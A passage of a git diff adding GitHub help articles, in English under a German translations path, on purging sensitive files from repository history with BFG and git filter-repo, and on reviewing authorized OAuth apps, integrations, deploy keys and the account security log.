+The [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/) is a tool that's built and maintained by the open source community. It provides a faster, simpler alternative to `git filter-branch` for removing unwanted data. 
+
+For example, to remove your file with sensitive data and leave your latest commit untouched, run:
+
+```shell
+$ bfg --delete-files YOUR-FILE-WITH-SENSITIVE-DATA
+```
+
+To replace all text listed in `passwords.txt` wherever it can be found in your repository's history, run:
+
+```shell
+$ bfg --replace-text passwords.txt
+```
+
+After the sensitive data is removed, you must force push your changes to {% data variables.product.product_name %}. Force pushing rewrites the repository history, which removes sensitive data from the commit history. If you force push, it may overwrite commits that other people have based their work on.
+
+```shell
+$ git push --force
+```
+
+See the [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/)'s documentation for full usage and download instructions.
+
+### Using git filter-repo
+
+{% warning %}
+
+**Warning:** If you run `git filter-repo` after stashing changes, you won't be able to retrieve your changes with other stash commands. Before running `git filter-repo`, we recommend unstashing any changes you've made. To unstash the last set of changes you've stashed, run `git stash show -p | git apply -R`. For more information, see [Git Tools - Stashing and Cleaning](https://git-scm.com/book/en/v2/Git-Tools-Stashing-and-Cleaning).
+
+{% endwarning %}
+
+To illustrate how `git filter-repo` works, we'll show you how to remove your file with sensitive data from the history of your repository and add it to `.gitignore` to ensure that it is not accidentally re-committed.
+
+1. Install the latest release of the [git filter-repo](https://github.com/newren/git-filter-repo) tool. You can install `git-filter-repo` manually or by using a package manager. For example, to install the tool with HomeBrew, use the `brew install` command.
+  ```
+  brew install git-filter-repo
+  ```
+  For more information, see [*INSTALL.md*](https://github.com/newren/git-filter-repo/blob/main/INSTALL.md) in the `newren/git-filter-repo` repository.
+
+2. If you don't already have a local copy of your repository with sensitive data in its history, [clone the repository](/articles/cloning-a-repository/) to your local computer.
+  ```shell
+  $ git clone https://{% data variables.command_line.codeblock %}/YOUR-USERNAME/YOUR-REPOSITORY
+  > Initialized empty Git repository in /Users/YOUR-FILE-PATH/YOUR-REPOSITORY/.git/
+  > remote: Counting objects: 1301, done.
+  > remote: Compressing objects: 100% (769/769), done.
+  > remote: Total 1301 (delta 724), reused 910 (delta 522)
+  > Receiving objects: 100% (1301/1301), 164.39 KiB, done.
+  > Resolving deltas: 100% (724/724), done.
+  ```
+3. Navigate into the repository's working directory.
+  ```shell
+  $ cd YOUR-REPOSITORY
+  ```
+4. Run the following command, replacing `PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA` with the **path to the file you want to remove, not just its filename**. These arguments will:
+    - Force Git to process, but not check out, the entire history of every branch and tag
+    - Remove the specified file, as well as any empty commits generated as a result
+    - Remove some configurations, such as the remote URL, stored in the *.git/config* file. You may want to back up this file in advance for restoration later.
+    - **Overwrite your existing tags**
+        ```shell
+        $ git filter-repo --invert-paths --path PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA
+        Parsed 197 commits
+        New history written in 0.11 seconds; now repacking/cleaning...
+        Repacking your repo and cleaning out old unneeded objects
+        Enumerating objects: 210, done.
+        Counting objects: 100% (210/210), done.
+        Delta compression using up to 12 threads
+        Compressing objects: 100% (127/127), done.
+        Writing objects: 100% (210/210), done.
+        Building bitmaps: 100% (48/48), done.
+        Total 210 (delta 98), reused 144 (delta 75), pack-reused 0
+        Completely finished after 0.64 seconds.
+        ```
+
+  {% note %}
+
+  **Note:** If the file with sensitive data used to exist at any other paths (because it was moved or renamed), you must run this command on those paths, as well.
+
+  {% endnote %}
+
+5. Add your file with sensitive data to `.gitignore` to ensure that you don't accidentally commit it again.
+
+  ```shell
+  $ echo "YOUR-FILE-WITH-SENSITIVE-DATA" >> .gitignore
+  $ git add .gitignore
+  $ git commit -m "Add YOUR-FILE-WITH-SENSITIVE-DATA to .gitignore"
+  > [main 051452f] Add YOUR-FILE-WITH-SENSITIVE-DATA to .gitignore
+  >  1 files changed, 1 insertions(+), 0 deletions(-)
+  ```
+6. Double-check that you've removed everything you wanted to from your repository's history, and that all of your branches are checked out.
+7. Once you're happy with the state of your repository, force-push your local changes to overwrite your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, as well as all the branches you've pushed up. A force push is required to remove sensitive data from your commit history.
+  ```shell
+  $ git push origin --force --all
+  > Counting objects: 1074, done.
+  > Delta compression using 2 threads.
+  > Compressing objects: 100% (677/677), done.
+  > Writing objects: 100% (1058/1058), 148.85 KiB, done.
+  > Total 1058 (delta 590), reused 602 (delta 378)
+  > To https://{% data variables.command_line.codeblock %}/YOUR-USERNAME.YOUR-REPOSITORY.git
+  >  + 48dc599...051452f main -> main (forced update)
+  ```
+8. In order to remove the sensitive file from [your tagged releases](/articles/about-releases), you'll also need to force-push against your Git tags:
+  ```shell
+  $ git push origin --force --tags
+  > Counting objects: 321, done.
+  > Delta compression using up to 8 threads.
+  > Compressing objects: 100% (166/166), done.
+  > Writing objects: 100% (321/321), 331.74 KiB | 0 bytes/s, done.
+  > Total 321 (delta 124), reused 269 (delta 108)
+  > To https://{% data variables.command_line.codeblock %}/YOUR-USERNAME/YOUR-REPOSITORY.git
+  >  + 48dc599...051452f main -> main (forced update)
+  ```
+
+## Fully removing the data from {% data variables.product.prodname_dotcom %}
+
+After using either the BFG tool or `git filter-repo` to remove the sensitive data and pushing your changes to {% data variables.product.product_name %}, you must take a few more steps to fully remove the data from {% data variables.product.product_name %}.
+
+1. Contact {% data variables.contact.contact_support %}, asking them to remove cached views and references to the sensitive data in pull requests on {% data variables.product.product_name %}. Please provide the name of the repository and/or a link to the commit you need removed.{% ifversion ghes %} For more information about how site administrators can remove unreachable Git objects, see "[Command line utilities](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-repo-gc)."{% endif %}
+
+2. Tell your collaborators to [rebase](https://git-scm.com/book/en/Git-Branching-Rebasing), *not* merge, any branches they created off of your old (tainted) repository history. One merge commit could reintroduce some or all of the tainted history that you just went to the trouble of purging.
+
+3. After some time has passed and you're confident that the BFG tool / `git filter-repo` had no unintended side effects, you can force all objects in your local repository to be dereferenced and garbage collected with the following commands (using Git 1.8.5 or newer):
+  ```shell
+  $ git for-each-ref --format="delete %(refname)" refs/original | git update-ref --stdin
+  $ git reflog expire --expire=now --all
+  $ git gc --prune=now
+  > Counting objects: 2437, done.
+  > Delta compression using up to 4 threads.
+  > Compressing objects: 100% (1378/1378), done.
+  > Writing objects: 100% (2437/2437), done.
+  > Total 2437 (delta 1461), reused 1802 (delta 1048)
+  ```
+  {% note %}
+
+   **Note:** You can also achieve this by pushing your filtered history to a new or empty repository and then making a fresh clone from {% data variables.product.product_name %}.
+
+  {% endnote %}
+
+## Avoiding accidental commits in the future
+
+There are a few simple tricks to avoid committing things you don't want committed:
+
+- Use a visual program like [{% data variables.product.prodname_desktop %}](https://desktop.github.com/) or [gitk](https://git-scm.com/docs/gitk) to commit changes. Visual programs generally make it easier to see exactly which files will be added, deleted, and modified with each commit.
+- Avoid the catch-all commands `git add .` and `git commit -a` on the command line—use `git add filename` and `git rm filename` to individually stage files, instead.
+- Use `git add --interactive` to individually review and stage changes within each file.
+- Use `git diff --cached` to review the changes that you have staged for commit. This is the exact diff that `git commit` will produce as long as you don't use the `-a` flag.
+
+## Further reading
+
+- [`git filter-repo` man page](https://htmlpreview.github.io/?https://github.com/newren/git-filter-repo/blob/docs/html/git-filter-repo.html)
+- [Pro Git: Git Tools - Rewriting History](https://git-scm.com/book/en/Git-Tools-Rewriting-History)
+- "[About Secret scanning](/code-security/secret-security/about-secret-scanning)"
diff --git a/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/reviewing-your-authorized-applications-oauth.md b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/reviewing-your-authorized-applications-oauth.md
new file mode 100644
index 0000000000..5f0b59df70
--- /dev/null
+++ b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/reviewing-your-authorized-applications-oauth.md
@@ -0,0 +1,26 @@
+---
+title: Reviewing your authorized applications (OAuth)
+intro: 'You should review your authorized applications to verify that no new applications with expansive permissions are authorized, such as those that have access to your private repositories.'
+redirect_from:
+  - /articles/reviewing-your-authorized-applications-oauth
+  - /github/authenticating-to-github/reviewing-your-authorized-applications-oauth
+  - /github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-authorized-applications-oauth
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+shortTitle: Review OAuth apps
+---
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.access_applications %}
+{% data reusables.user-settings.access_authorized_oauth_apps %}
+{% data reusables.user-settings.review-oauth-apps %}
+
+## Further reading
+{% ifversion fpt or ghec %}
+- "[About integrations](/articles/about-integrations)"{% endif %}
+- "[Reviewing your authorized integrations](/articles/reviewing-your-authorized-integrations)"
diff --git a/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/reviewing-your-authorized-integrations.md b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/reviewing-your-authorized-integrations.md
new file mode 100644
index 0000000000..ca603a3956
--- /dev/null
+++ b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/reviewing-your-authorized-integrations.md
@@ -0,0 +1,37 @@
+---
+title: Reviewing your authorized integrations
+intro: You can review your authorized integrations to audit the access that each integration has to your account and data.
+redirect_from:
+  - /articles/reviewing-your-authorized-integrations
+  - /github/authenticating-to-github/reviewing-your-authorized-integrations
+  - /github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-authorized-integrations
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+shortTitle: Authorized integrations
+---
+## Reviewing your authorized {% data variables.product.prodname_oauth_apps %}
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.access_applications %}
+{% data reusables.user-settings.access_authorized_oauth_apps %}
+{% data reusables.user-settings.review-oauth-apps %}
+
+## Reviewing your authorized {% data variables.product.prodname_github_apps %}
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.access_applications %}
+3. Click the **Authorized {% data variables.product.prodname_github_apps %}** tab.
+![Authorized {% data variables.product.prodname_github_apps %} tab](/assets/images/help/settings/settings-authorized-github-apps-tab.png)
+3. Review the {% data variables.product.prodname_github_apps %} that have access to your account. For those that you don't recognize or that are out of date, click **Revoke**. To revoke all {% data variables.product.prodname_github_apps %}, click **Revoke all**.
+   ![List of authorized {% data variables.product.prodname_github_app %}](/assets/images/help/settings/revoke-github-app.png)
+
+## Further reading
+{% ifversion fpt or ghec %}
+- "[About integrations](/articles/about-integrations)"{% endif %}
+- "[Reviewing your authorized applications (OAuth)](/articles/reviewing-your-authorized-applications-oauth)"
diff --git a/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md
new file mode 100644
index 0000000000..8e1b0473ec
--- /dev/null
+++ b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md
@@ -0,0 +1,32 @@
+---
+title: Reviewing your deploy keys
+intro: You should review deploy keys to ensure that there aren't any unauthorized (or possibly compromised) keys. You can also approve existing deploy keys that are valid.
+redirect_from:
+  - /articles/reviewing-your-deploy-keys
+  - /github/authenticating-to-github/reviewing-your-deploy-keys
+  - /github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-deploy-keys
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+shortTitle: Deploy keys
+---
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+3. In the "Security" section of the sidebar, click **{% octicon "key" aria-label="The key icon" %} Deploy keys**.
+{% else %}
+3. In the left sidebar, click **Deploy keys**.
+![Deploy keys setting](/assets/images/help/settings/settings-sidebar-deploy-keys.png)
+{% endif %}
+4. On the Deploy keys page, take note of the deploy keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid deploy keys you'd like to keep, click **Approve**.
+	![Deploy key list](/assets/images/help/settings/settings-deploy-key-review.png)
+
+For more information, see "[Managing deploy keys](/guides/managing-deploy-keys)."
+
+## Further reading
+- [Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options)
diff --git a/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md
new file mode 100644
index 0000000000..9393626b1e
--- /dev/null
+++ b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md
@@ -0,0 +1,278 @@
+---
+title: Reviewing your security log
+intro: You can review the security log for your personal account to better understand actions you've performed and actions others have performed that involve you.
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /articles/reviewing-your-security-log
+  - /github/authenticating-to-github/reviewing-your-security-log
+  - /github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-security-log
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+shortTitle: Security log
+---
+## Accessing your security log
+
+The security log lists all actions performed within the last 90 days.
+
+{% data reusables.user-settings.access_settings %}
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the "Archives" section of the sidebar, click **{% octicon "log" aria-label="The log icon" %} Security log**.
+{% else %}
+1. In the user settings sidebar, click **Security log**.
+  ![Security log tab](/assets/images/help/settings/audit-log-tab.png)
+{% endif %}
+
+## Searching your security log
+
+{% data reusables.audit_log.audit-log-search %}
+
+### Search based on the action performed
+
+The events listed in your security log are triggered by your actions. Actions are grouped into the following categories:
+
+| Category name | Description
+|------------------|-------------------{% ifversion fpt or ghec %}
+| [`billing`](#billing-category-actions) | Contains all activities related to your billing information.
+| [`codespaces`](#codespaces-category-actions) | Contains all activities related to {% data variables.product.prodname_github_codespaces %}. For more information, see "[About {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/about-codespaces)."
+| [`marketplace_agreement_signature`](#marketplace_agreement_signature-category-actions) | Contains all activities related to signing the {% data variables.product.prodname_marketplace %} Developer Agreement.
+| [`marketplace_listing`](#marketplace_listing-category-actions) | Contains all activities related to listing apps in {% data variables.product.prodname_marketplace %}.{% endif %}
+| [`oauth_access`](#oauth_access-category-actions) | Contains all activities related to [{% data variables.product.prodname_oauth_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps) you've connected with.{% ifversion fpt or ghec %}
+| [`payment_method`](#payment_method-category-actions) | Contains all activities related to paying for your {% data variables.product.prodname_dotcom %} subscription.{% endif %}{% ifversion pat-v2%}
+| [`personal_access_token`](#personal_access_token-category-actions) | Contains activities related to {% data variables.product.pat_v2 %}s. For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)."{% endif %}
+| [`profile_picture`](#profile_picture-category-actions) | Contains all activities related to your profile picture.
+| [`project`](#project-category-actions) | Contains all activities related to project boards.
+| [`public_key`](#public_key-category-actions) | Contains all activities related to [your public SSH keys](/articles/adding-a-new-ssh-key-to-your-github-account).
+| [`repo`](#repo-category-actions) | Contains all activities related to the repositories you own.{% ifversion fpt or ghec %}
+| [`sponsors`](#sponsors-category-actions) | Contains all events related to {% data variables.product.prodname_sponsors %} and sponsor buttons (see "[About {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)" and "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)"){% endif %}{% ifversion ghes or ghae %}
+| [`team`](#team-category-actions) | Contains all activities related to teams you are a part of.{% endif %}{% ifversion not ghae %}
+| [`two_factor_authentication`](#two_factor_authentication-category-actions) | Contains all activities related to [two-factor authentication](/articles/securing-your-account-with-two-factor-authentication-2fa).{% endif %}
+| [`user`](#user-category-actions) | Contains all activities related to your account.
+
+{% ifversion fpt or ghec %}
+
+## Exporting your security log
+
+{% data reusables.audit_log.export-log %}
+{% data reusables.audit_log.exported-log-keys-and-values %}
+
+{% endif %}
+
+## Security log actions
+
+An overview of some of the most common actions that are recorded as events in the security log.
+
+{% ifversion fpt or ghec %}
+
+### `billing` category actions
+
+| Action | Description
+|------------------|-------------------
+| `change_billing_type` | Triggered when you [change how you pay](/articles/adding-or-editing-a-payment-method) for {% data variables.product.prodname_dotcom %}.
+| `change_email` | Triggered when you [change your email address](/articles/changing-your-primary-email-address).
+
+### `codespaces` category actions
+
+| Action | Description
+|------------------|-------------------
+| `create` | Triggered when you [create a codespace](/github/developing-online-with-codespaces/creating-a-codespace).
+| `resume` | Triggered when you resume a suspended codespace.
+| `delete` | Triggered when you [delete a codespace](/github/developing-online-with-codespaces/deleting-a-codespace).
+| `manage_access_and_security` | Triggered when you update [the repositories a codespace has access to](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces).
+| `trusted_repositories_access_update` | Triggered when you change your personal account's [access and security setting for {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces).
+
+### `marketplace_agreement_signature` category actions
+
+| Action | Description
+|------------------|-------------------
+| `create` | Triggered when you sign the {% data variables.product.prodname_marketplace %} Developer Agreement.
+
+### `marketplace_listing` category actions
+
+| Action | Description
+|------------------|-------------------
+| `approve` | Triggered when your listing is approved for inclusion in {% data variables.product.prodname_marketplace %}.
+| `create` | Triggered when you create a listing for your app in {% data variables.product.prodname_marketplace %}.
+| `delist` | Triggered when your listing is removed from {% data variables.product.prodname_marketplace %}.
+| `redraft` | Triggered when your listing is sent back to draft state.
+| `reject` | Triggered when your listing is not accepted for inclusion in {% data variables.product.prodname_marketplace %}.
+
+{% endif %}
+
+### `oauth_authorization` category actions
+
+| Action | Description
+|------------------|-------------------
+| `create` | Triggered when you [grant access to an {% data variables.product.prodname_oauth_app %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps).
+| `destroy` | Triggered when you [revoke an {% data variables.product.prodname_oauth_app %}'s access to your account](/articles/reviewing-your-authorized-integrations) and when [authorizations are revoked or expire](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation).
+
+{% ifversion fpt or ghec %}
+
+### `payment_method` category actions
+
+| Action | Description
+|------------------|-------------------
+| `create` | Triggered when a new payment method is added, such as a new credit card or PayPal account.
+| `update` | Triggered when an existing payment method is updated.
+
+{% endif %}
+
+{% ifversion pat-v2 %}
+
+### `personal_access_token` category actions
+
+| Action | Description
+|------------------|-------------------
+| `access_granted` | Triggered when a {% data variables.product.pat_v2 %} that you created is granted access to resources.
+| `access_revoked` | Triggered when a {% data variables.product.pat_v2 %} that you created is revoked. The token can still read public organization resources.
+| `create` | Triggered when you create a {% data variables.product.pat_v2 %}.
+| `credential_regenerated` | Triggered when you regenerate a {% data variables.product.pat_v2 %}.
+| `destroy` | Triggered when you delete a {% data variables.product.pat_v2 %}.
+| `request_cancelled` | Triggered when you cancel a pending request for your {% data variables.product.pat_v2 %} to access organization resources.
+| `request_created` | Triggered when you create a {% data variables.product.pat_v2 %} to access organization resources and the organization requires approval before a {% data variables.product.pat_v2 %} can access organization resources.
+| `request_denied` | Triggered when your request for a {% data variables.product.pat_v2 %} to access organization resources is denied. For more information, see "[Managing requests for {% data variables.product.pat_generic %} in your organization](/organizations/managing-programmatic-access-to-your-organization/managing-requests-for-personal-access-tokens-in-your-organization)."
+
+{% endif %}
+
+### `profile_picture` category actions
+
+| Action | Description
+|------------------|-------------------
+| `update` | Triggered when you [set or update your profile picture](/articles/setting-your-profile-picture/).
+
+### `project` category actions
+
+| Action | Description
+|--------------------|---------------------
+| `access` | Triggered when a project board's visibility is changed.
+| `create` | Triggered when a project board is created.
+| `rename` | Triggered when a project board is renamed.
+| `update` | Triggered when a project board is updated.
+| `delete` | Triggered when a project board is deleted.
+| `link`   | Triggered when a repository is linked to a project board.
+| `unlink` | Triggered when a repository is unlinked from a project board.
+| `update_user_permission` | Triggered when an outside collaborator is added to or removed from a project board or has their permission level changed.
+
+### `public_key` category actions
+
+| Action | Description
+|------------------|-------------------
+| `create` | Triggered when you [add a new public SSH key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}](/articles/adding-a-new-ssh-key-to-your-github-account).
+| `delete` | Triggered when you [remove a public SSH key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}](/articles/reviewing-your-ssh-keys).
+
+### `repo` category actions
+
+| Action | Description
+|------------------|-------------------
+| `access` | Triggered when you a repository you own is [switched from "private" to "public"](/articles/making-a-private-repository-public) (or vice versa).
+| `add_member` | Triggered when a {% data variables.product.product_name %} user is {% ifversion fpt or ghec %}[invited to have collaboration access](/articles/inviting-collaborators-to-a-personal-repository){% else %}[given collaboration access](/articles/inviting-collaborators-to-a-personal-repository){% endif %} to a repository.
+| `add_topic` | Triggered when a repository owner [adds a topic](/articles/classifying-your-repository-with-topics) to a repository.
+| `archived` | Triggered when a repository owner [archives a repository](/articles/about-archiving-repositories).{% ifversion ghes %}
+| `config.disable_anonymous_git_access` | Triggered when [anonymous Git read access is disabled](/enterprise/user/articles/enabling-anonymous-git-read-access-for-a-repository) in a public repository.
+| `config.enable_anonymous_git_access` | Triggered when [anonymous Git read access is enabled](/enterprise/user/articles/enabling-anonymous-git-read-access-for-a-repository) in a public repository.
+| `config.lock_anonymous_git_access` | Triggered when a repository's [anonymous Git read access setting is locked](/enterprise/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access).
+| `config.unlock_anonymous_git_access` | Triggered when a repository's [anonymous Git read access setting is unlocked](/enterprise/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access).{% endif %}
+| `create` | Triggered when [a new repository is created](/articles/creating-a-new-repository).
+| `destroy` |  Triggered when [a repository is deleted](/articles/deleting-a-repository).{% ifversion fpt or ghec %}
+| `disable` | Triggered when a repository is disabled (e.g., for [insufficient funds](/articles/unlocking-a-locked-account)).{% endif %}{% ifversion fpt or ghec %}
+| `download_zip` | Triggered when a ZIP or TAR archive of a repository is downloaded.
+| `enable` | Triggered when a repository is re-enabled.{% endif %}
+| `remove_member` | Triggered when a {% data variables.product.product_name %} user is [removed from a repository as a collaborator](/articles/removing-a-collaborator-from-a-personal-repository).
+| `remove_topic` | Triggered when a repository owner removes a topic from a repository.
+| `rename` | Triggered when [a repository is renamed](/articles/renaming-a-repository).
+| `staff_unlock` | Triggered when an enterprise owner or {% data variables.contact.github_support %} (with permission from a repository administrator) temporarily unlocked the repository. The visibility of the repository isn't changed.
+| `transfer` | Triggered when [a repository is transferred](/articles/how-to-transfer-a-repository).
+| `transfer_start` | Triggered when a repository transfer is about to occur.
+| `unarchived` | Triggered when a repository owner unarchives a repository.
+
+{% ifversion fpt or ghec %}
+### `sponsors` category actions
+
+| Action | Description
+|------------------|-------------------
+| `custom_amount_settings_change` | Triggered when you enable or disable custom amounts, or when you change the suggested custom amount (see "[Managing your sponsorship tiers](/github/supporting-the-open-source-community-with-github-sponsors/managing-your-sponsorship-tiers)")
+| `repo_funding_links_file_action` | Triggered when you change the FUNDING file in your repository (see "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)")
+| `sponsor_sponsorship_cancel` | Triggered when you cancel a sponsorship (see "[Downgrading a sponsorship](/articles/downgrading-a-sponsorship)")
+| `sponsor_sponsorship_create` | Triggered when you sponsor an account (see "[Sponsoring an open source contributor](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)")
+| `sponsor_sponsorship_payment_complete` | Triggered after you sponsor an account and your payment has been processed (see "[Sponsoring an open source contributor](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)")
+| `sponsor_sponsorship_preference_change` | Triggered when you change whether you receive email updates from a sponsored developer (see "[Managing your sponsorship](/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship)")
+| `sponsor_sponsorship_tier_change` | Triggered when you upgrade or downgrade your sponsorship (see "[Upgrading a sponsorship](/articles/upgrading-a-sponsorship)" and "[Downgrading a sponsorship](/articles/downgrading-a-sponsorship)")
+| `sponsored_developer_approve` | Triggered when your {% data variables.product.prodname_sponsors %} account is approved (see "[Setting up {% data variables.product.prodname_sponsors %} for your personal account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account)")
+| `sponsored_developer_create` | Triggered when your {% data variables.product.prodname_sponsors %} account is created (see "[Setting up {% data variables.product.prodname_sponsors %} for your personal account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account)")
+| `sponsored_developer_disable` | Triggered when your {% data variables.product.prodname_sponsors %} account is disabled
+| `sponsored_developer_redraft` | Triggered when your {% data variables.product.prodname_sponsors %} account is returned to draft state from approved state
+| `sponsored_developer_profile_update` | Triggered when you edit your sponsored developer profile (see "[Editing your profile details for {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors)")
+| `sponsored_developer_request_approval` | Triggered when you submit your application for {% data variables.product.prodname_sponsors %} for approval (see "[Setting up {% data variables.product.prodname_sponsors %} for your personal account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account)")
+| `sponsored_developer_tier_description_update` | Triggered when you change the description for a sponsorship tier (see "[Managing your sponsorship tiers](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers)")
+| `sponsored_developer_update_newsletter_send` | Triggered when you send an email update to your sponsors (see "[Contacting your sponsors](/sponsors/receiving-sponsorships-through-github-sponsors/contacting-your-sponsors)")
+| `waitlist_invite_sponsored_developer` | Triggered when you are invited to join {% data variables.product.prodname_sponsors %} from the waitlist (see "[Setting up {% data variables.product.prodname_sponsors %} for your personal account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account)")
+| `waitlist_join` | Triggered when you join the waitlist to become a sponsored developer (see "[Setting up {% data variables.product.prodname_sponsors %} for your personal account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account)")
+{% endif %}
+
+{% ifversion fpt or ghec %}
+### `successor_invitation` category actions
+
+| Action | Description
+|------------------|-------------------
+| `accept` | Triggered when you accept a succession invitation (see "[Maintaining ownership continuity of your personal account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")
+| `cancel` | Triggered when you cancel a succession invitation (see "[Maintaining ownership continuity of your personal account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")
+| `create` | Triggered when you create a succession invitation (see "[Maintaining ownership continuity of your personal account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")
+| `decline` | Triggered when you decline a succession invitation (see "[Maintaining ownership continuity of your personal account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")
+| `revoke` | Triggered when you revoke a succession invitation (see "[Maintaining ownership continuity of your personal account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")
+{% endif %}
+
+{% ifversion ghes or ghae %}
+
+### `team` category actions
+
+| Action | Description
+|------------------|-------------------
+| `add_member` | Triggered when a member of an organization you belong to [adds you to a team](/articles/adding-organization-members-to-a-team).
+| `add_repository` | Triggered when a team you are a member of is given control of a repository.
+| `create` | Triggered when a new team in an organization you belong to is created.
+| `destroy` | Triggered when a team you are a member of is deleted from the organization.
+| `remove_member` | Triggered when a member of an organization is [removed from a team](/articles/removing-organization-members-from-a-team) you are a member of.
+| `remove_repository` | Triggered when a repository is no longer under a team's control.
+
+{% endif %}
+
+{% ifversion not ghae %}
+### `two_factor_authentication` category actions
+
+| Action | Description
+|------------------|-------------------
+| `enabled` | Triggered when [two-factor authentication](/articles/securing-your-account-with-two-factor-authentication-2fa) is enabled.
+| `disabled` | Triggered when two-factor authentication is disabled.
+{% endif %}
+
+### `user` category actions
+
+| Action | Description
+|--------------------|---------------------
+| `add_email` | Triggered when you {% ifversion not ghae %}[add a new email address](/articles/changing-your-primary-email-address){% else %}add a new email address{% endif %}.{% ifversion fpt or ghec %}
+| `codespaces_trusted_repo_access_granted` | Triggered when you [allow the codespaces you create for a repository to access other repositories owned by your personal account](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces).
+| `codespaces_trusted_repo_access_revoked` | Triggered when you [disallow the codespaces you create for a repository to access other repositories owned by your personal account](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces). {% endif %}
+| `create` | Triggered when you create a new personal account.{% ifversion not ghae %}
+| `change_password` | Triggered when you change your password.
+| `forgot_password` | Triggered when you ask for [a password reset](/articles/how-can-i-reset-my-password).{% endif %}
+| `hide_private_contributions_count` | Triggered when you [hide private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile).
+| `login` | Triggered when you log in to {% data variables.location.product_location %}.{% ifversion ghes or ghae %}
+`mandatory_message_viewed`   | Triggered when you view a mandatory message (see "[Customizing user messages](/admin/user-management/customizing-user-messages-for-your-enterprise)" for details) | {% endif %}
+| `failed_login` | Triggered when you failed to log in successfully.
+| `remove_email` | Triggered when you remove an email address.
+| `rename` | Triggered when you rename your account.{% ifversion fpt or ghec %}
